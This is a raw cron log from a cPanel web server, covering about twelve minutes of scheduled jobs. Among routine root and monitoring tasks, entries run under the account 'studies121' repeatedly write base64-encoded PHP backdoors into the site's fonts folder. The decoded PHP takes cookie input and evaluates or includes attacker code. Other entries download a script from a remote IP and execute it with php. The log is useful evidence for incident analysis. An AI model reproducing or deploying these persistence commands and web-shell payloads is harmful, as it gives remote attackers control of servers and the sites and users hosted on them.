Feb 22 10:27:01 ip-184-168-122-23 CROND[30342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:27:01 ip-184-168-122-23 CROND[30344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:27:01 ip-184-168-122-23 CROND[30345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:28:01 ip-184-168-122-23 CROND[30668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:28:01 ip-184-168-122-23 CROND[30669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:28:01 ip-184-168-122-23 CROND[30670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:28:01 ip-184-168-122-23 CROND[30673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:28:01 ip-184-168-122-23 CROND[30674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:29:01 ip-184-168-122-23 CROND[31024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:29:02 ip-184-168-122-23 CROND[31026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:29:02 ip-184-168-122-23 CROND[31028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:29:02 ip-184-168-122-23 CROND[31030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31327]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:30:01 ip-184-168-122-23 CROND[31331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:30:01 ip-184-168-122-23 CROND[31334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:30:01 ip-184-168-122-23 CROND[31338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:31:01 ip-184-168-122-23 CROND[31681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:31:01 ip-184-168-122-23 CROND[31683]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 10:31:01 ip-184-168-122-23 CROND[31682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:31:01 ip-184-168-122-23 CROND[31685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:31:01 ip-184-168-122-23 CROND[31684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:32:01 ip-184-168-122-23 CROND[32253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:32:01 ip-184-168-122-23 CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:32:01 ip-184-168-122-23 CROND[32262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:32:01 ip-184-168-122-23 CROND[32260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:32:01 ip-184-168-122-23 CROND[32261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:33:01 ip-184-168-122-23 CROND[32751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:33:01 ip-184-168-122-23 CROND[32754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:33:01 ip-184-168-122-23 CROND[32752]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:33:01 ip-184-168-122-23 CROND[32753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:34:01 ip-184-168-122-23 CROND[657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:34:01 ip-184-168-122-23 CROND[659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:34:01 ip-184-168-122-23 CROND[661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:34:01 ip-184-168-122-23 CROND[662]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:34:01 ip-184-168-122-23 CROND[663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:35:01 ip-184-168-122-23 CROND[988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:35:01 ip-184-168-122-23 CROND[987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:35:01 ip-184-168-122-23 CROND[995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:35:01 ip-184-168-122-23 CROND[993]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 10:35:01 ip-184-168-122-23 CROND[991]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 10:35:01 ip-184-168-122-23 CROND[994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:35:01 ip-184-168-122-23 CROND[996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 10:35:01 ip-184-168-122-23 CROND[997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 10:36:01 ip-184-168-122-23 CROND[1326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:36:01 ip-184-168-122-23 CROND[1329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:36:01 ip-184-168-122-23 CROND[1327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:36:01 ip-184-168-122-23 CROND[1328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:36:01 ip-184-168-122-23 CROND[1331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:37:01 ip-184-168-122-23 CROND[1649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:37:01 ip-184-168-122-23 CROND[1650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:37:01 ip-184-168-122-23 CROND[1654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:37:01 ip-184-168-122-23 CROND[1655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:38:01 ip-184-168-122-23 CROND[2001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 10:38:01 ip-184-168-122-23 CROND[2003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:38:01 ip-184-168-122-23 CROND[2004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 10:38:01 ip-184-168-122-23 CROND[2005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 10:38:01 ip-184-168-122-23 CROND[2006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 10:39:01 ip-184-168-122-23 CROND[2319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 10:39:01 ip-184-168-122-23 CROND[2318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
